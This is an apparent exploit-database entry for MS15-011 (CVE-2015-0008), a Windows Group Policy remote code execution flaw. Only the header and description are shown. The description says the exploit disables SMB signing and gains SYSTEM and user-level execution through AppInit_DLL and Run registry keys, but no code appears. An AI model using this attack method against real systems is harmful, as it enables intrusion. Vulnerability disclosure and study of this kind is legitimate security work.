标题: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution (MS15-011) EDB-ID: 47558 CVE: 2015-0008 类型: REMOTE 平台: WINDOWS 发布日期: 2019-10-29 漏洞利用脚本: # Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, 
# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0008
# Type: Remote
# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of 
# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code 
# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level 
# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).
